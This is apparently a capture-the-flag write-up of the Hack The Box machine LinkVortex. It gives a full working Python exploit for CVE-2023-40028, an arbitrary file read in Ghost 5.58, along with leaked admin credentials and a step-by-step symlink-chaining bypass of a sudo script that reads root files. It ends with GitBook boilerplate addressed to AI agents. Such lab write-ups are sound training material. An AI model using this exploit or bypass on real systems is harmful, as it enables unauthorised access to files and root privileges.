> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-linkvortex.md).

# HTB - LinkVortex

## Enumeration and Foothold

### NMAP

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FuBjsSkS0iWa5xrf2Ko3H%2Fimage.png?alt=media&amp;token=5b313039-b8cc-4638-be14-61f1bb647e63" alt=""><figcaption></figcaption></figure>

add the domain to hosts file and refresh the browser

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFvJwaPnR3vac8zZy1HnZ%2Fimage.png?alt=media&amp;token=5d5b5a3f-66f9-4f99-8c45-a1d9423c62f3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FwzHtPeTT0sL4sFMuBi3U%2Fimage.png?alt=media&amp;token=8d85bf25-f52b-4b9a-9ebd-c5df0e766141" alt=""><figcaption></figcaption></figure>

searching for a reveals the admin user and all the posts on webpage are posted by admin.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FvYXb5aytgD7eSHLQVLRZ%2Fimage.png?alt=media&amp;token=46cddf59-6030-4f28-9259-53a7edcbc960" alt=""><figcaption></figcaption></figure>

add the newly discovered subdomain to the hosts file

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F91TdK1w7IQgmjIKhxyyV%2Fimage.png?alt=media&amp;token=edceb55e-f2ae-428f-8151-f8d9608888dd" alt=""><figcaption></figcaption></figure>

directory enumeration using feroxbuster, gobuster and ffuf results nothing but nmap results some useful data.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0xfBMTcuE72sJnenvtQ4%2Fimage.png?alt=media&amp;token=1911fa7e-39f9-4c90-94c6-28b65188df62" alt=""><figcaption></figcaption></figure>

the website is running Ghost 5.58

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1Rm2RCL5XPFOBri4dfiF%2Fimage.png?alt=media&amp;token=cb1ab66f-2289-4647-95b9-ff64ee71a03a" alt=""><figcaption></figcaption></figure>

the dev subdomain has a hidden git directory. i will dump the git locally and enumerate it further

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FhGcbsq5MxjCm3iuMelVD%2Fimage.png?alt=media&amp;token=f7f1b8a3-e805-4921-9c89-b17a0384070c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFlk77mW033B0iB6Kz5NB%2Fimage.png?alt=media&amp;token=387c9b2c-e83b-42a1-a396-f15563105a3b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGKDuA10NcHyIvVg28Nlv%2Fimage.png?alt=media&amp;token=27bfa422-fe19-4f04-a7fb-67061a75e87b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FEdc1T26ouhe5Vt1acHFk%2Fimage.png?alt=media&amp;token=18ea6118-133a-4e2b-afc9-6e96f5489a6b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FUNQX3KVQ8ai0vIUZtIlL%2Fimage.png?alt=media&amp;token=eae25b03-9c9f-4c21-bb6b-92154395a937" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGUrn7XWiqOjB7USc79Up%2Fimage.png?alt=media&amp;token=5af6a080-2678-41b7-b8d2-80ca4d808744" alt=""><figcaption></figcaption></figure>

the password works against admin

`admin : OctopiFociPilfer45`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FCNGDLOMat030WcfcdqfG%2Fimage.png?alt=media&amp;token=6db1dcef-197e-41a0-b0ed-5fdf0bf2b9c5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FnBoloqAg5F1I1rrNkwOO%2Fimage.png?alt=media&amp;token=8004d530-f1e9-4bb7-b15c-f6eed0876c8a" alt=""><figcaption></figcaption></figure>

Ghost 5.58 is vulnerable to arbitrary file read&#x20;

### CVE-2023-40028

That said i am gonna use the script generated by 0xdf for this purpose.

```bash
import io
import random
import requests
import string
import sys
import zipfile


# process inputs
if len(sys.argv) != 5:
    print(f"usage: {sys.argv[0]} <host> <username> <password> <file to read>")
    sys.exit()
hostname = sys.argv[1] if sys.argv[1].startswith('http') else f'http://{sys.argv[1]}'
username = sys.argv[2]
password = sys.argv[3]
target_file = sys.argv[4]

# create zip (in memory)
filename = ''.join(random.choices(string.ascii_letters, k=8)) + '.png'
file_path = f'content/images/{filename}'

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, "w") as zip_file:
    zipInfo = zipfile.ZipInfo(file_path)
    zipInfo.create_system = 3 # UNIX
    zipInfo.external_attr |= 0xA0000000  # 0o120777 << 16
    zip_file.writestr(zipInfo, target_file)
zip_buffer.seek(0)

# login
sess = requests.session()
sess.post(
    f'{hostname}/ghost/api/admin/session',
    data={
        "username": username,
        "password": password
    }
)

# post to api
sess.post(
    f'{hostname}/ghost/api/admin/db/',
    files={'importfile': ('archive.zip', zip_buffer, 'application/zip')}
)

# read and display results
resp = requests.get(f'{hostname}/{file_path}')
if resp.status_code == 200:
    print(resp.text)
elif resp.status_code == 404:
    print(f'file not found: {target_file}')
elif resp.status_code == 500:
    print(f'unable to access: {target_file}')
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7vAu67XB2lL4J1HQC6Od%2Fimage.png?alt=media&amp;token=75deba0f-667d-4d18-a220-d3fc00d61960" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8wbY7EYC2bdtFiyGjdPm%2Fimage.png?alt=media&amp;token=c75a5572-70f9-4192-b5af-4eefb51f9c0b" alt=""><figcaption></figcaption></figure>

Found this in the git dump earlier.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FsEbFjutM1RTXJaxUrxJR%2Fimage.png?alt=media&amp;token=2b9c0210-797c-464b-a59e-333edff53550" alt=""><figcaption></figcaption></figure>

found the password for bob

## Shell as Bob

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJUvqYy6Jv6jNFhAODGk5%2Fimage.png?alt=media&amp;token=d807c5b0-f3b5-4cd7-b59b-2e7e0fa5567e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVv9FW1WLxWOfwkVfEB0w%2Fimage.png?alt=media&amp;token=93d190f9-6464-4400-a7d0-4060adf027ff" alt=""><figcaption></figcaption></figure>

bob can run a custom script has root without password.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FIWSQssfnTt3jxwN3Fj28%2Fimage.png?alt=media&amp;token=f73babf1-6b44-4912-94b3-dcd6a5d7494d" alt=""><figcaption></figcaption></figure>

```
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)'; then
```

The script uses `readlink` (not `readlink -f`) to resolve the symlink target, which only follows **one hop**. It then filters that single-hop result through a case-sensitive regex (`grep -Eq '(etc|root)'`) looking for the literal lowercase substrings `etc` or `root`. If you chain two symlinks together, the intermediate hop can be crafted to avoid those substrings while the final destination still points at a sensitive file.

## Reading Root Flag

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLJwzf1vgNMzWporgqVxR%2Fimage.png?alt=media&amp;token=19a97e21-af82-4167-8310-16ddc435d74a" alt=""><figcaption></figcaption></figure>

Step by step exploitation

**Step 1 — Create an intermediate symlink pointing to the real target:**

```bash
ln -s /root/root.txt /home/bob/a
```

This symlink (`/home/bob/a`) points directly at `/root/root.txt`. On its own this wouldn't pass the filter if referenced directly, because `readlink` on it would show `/root/root.txt` — which *does* contain "root".

**Step 2 — Create the actual `.png` symlink pointing to the intermediate link, not the real file:**

```bash
ln -s /home/bob/a /home/bob/exp.png
```

Now `exp.png` → `/home/bob/a` → `/root/root.txt`. This is the key trick: the script's sudo rule requires the argument to end in `.png`, and it only inspects **the immediate target of that one `.png` file**.

**Step 3 — Confirm what the script's filter will actually see:**

```bash
ls -l /home/bob/exp.png
```

Output: `/home/bob/exp.png → /home/bob/a`

`readlink /home/bob/exp.png` returns `/home/bob/a` — a path with **no lowercase "etc" or "root" substring** anywhere in it. The regex filter passes clean.

**Step 4 — Trigger the script as root via the sudo rule:**

```bash
CHECK_CONTENT=true sudo bash /opt/ghost/clean_symlink.sh /home/bob/exp.png
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-linkvortex.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
